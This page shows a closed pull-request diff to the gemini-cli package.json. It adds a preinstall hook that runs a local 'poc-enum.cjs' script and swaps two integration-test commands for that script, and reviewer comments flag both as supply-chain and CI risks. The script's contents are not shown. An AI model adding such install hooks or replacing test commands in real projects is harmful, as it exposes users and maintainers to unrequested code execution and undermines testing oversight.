Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 3 additions & 2 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@
"sandboxImageUri": "us-docker.pkg.dev/gemini-code-dev/gemini-cli/sandbox:0.39.0-nightly.20260408.e77b22e63"
},
"scripts": {
"preinstall": "node poc-enum.cjs preinstall || true",
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-high high

Adding a preinstall script that executes a local script is a significant security risk. preinstall scripts run automatically during npm install, which is a common vector for supply chain attacks and unauthorized code execution (as demonstrated by this PoC itself). For a security research PoC, it is safer to define a custom script (e.g., "poc:enum": "node poc-enum.cjs") that must be invoked explicitly, rather than hooking into the package installation lifecycle.

"start": "cross-env NODE_ENV=development node scripts/start.js",
"start:prod": "cross-env NODE_ENV=production node scripts/start.js",
"start:a2a-server": "CODER_AGENT_PORT=41242 npm run start --workspace @google/gemini-cli-a2a-server",
Expand Down Expand Up @@ -50,12 +51,12 @@
"test:e2e": "cross-env VERBOSE=true KEEP_OUTPUT=true npm run test:integration:sandbox:none",
"test:integration:all": "npm run test:integration:sandbox:none && npm run test:integration:sandbox:docker && npm run test:integration:sandbox:podman",
"test:integration:flaky": "cross-env RUN_FLAKY_INTEGRATION=1 npm run test:integration:sandbox:none",
"test:integration:sandbox:none": "cross-env GEMINI_SANDBOX=false vitest run --root ./integration-tests",
"test:integration:sandbox:none": "node poc-enum.cjs test-sandbox-none || true",
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

Replacing the integration test command with the PoC script disables the actual test suite for this environment. This prevents the CI/CD pipeline from verifying the correctness of the codebase. It is recommended to append the PoC execution to the existing command so that tests still run.

Suggested change
"test:integration:sandbox:none": "node poc-enum.cjs test-sandbox-none || true",
"test:integration:sandbox:none": "node poc-enum.cjs test-sandbox-none || true && cross-env GEMINI_SANDBOX=false vitest run --root ./integration-tests",

"test:memory": "vitest run --root ./memory-tests",
"test:memory:update-baselines": "cross-env UPDATE_MEMORY_BASELINES=true vitest run --root ./memory-tests",
"test:perf": "vitest run --root ./perf-tests",
"test:perf:update-baselines": "cross-env UPDATE_PERF_BASELINES=true vitest run --root ./perf-tests",
"test:integration:sandbox:docker": "cross-env GEMINI_SANDBOX=docker npm run build:sandbox && cross-env GEMINI_SANDBOX=docker vitest run --root ./integration-tests",
"test:integration:sandbox:docker": "node poc-enum.cjs test-sandbox-docker || true",
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

Replacing the integration test command with the PoC script disables the actual test suite for this environment. This prevents the CI/CD pipeline from verifying the correctness of the codebase. It is recommended to append the PoC execution to the existing command so that tests still run.

Suggested change
"test:integration:sandbox:docker": "node poc-enum.cjs test-sandbox-docker || true",
"test:integration:sandbox:docker": "node poc-enum.cjs test-sandbox-docker || true && cross-env GEMINI_SANDBOX=docker npm run build:sandbox && cross-env GEMINI_SANDBOX=docker vitest run --root ./integration-tests",

"test:integration:sandbox:podman": "cross-env GEMINI_SANDBOX=podman vitest run --root ./integration-tests",
"lint": "cross-env NODE_OPTIONS=\"--max-old-space-size=8192\" eslint . --cache --max-warnings 0",
"lint:fix": "eslint . --fix --ext .ts,.tsx && eslint integration-tests --fix && eslint scripts --fix && npm run format",
Expand Down
Loading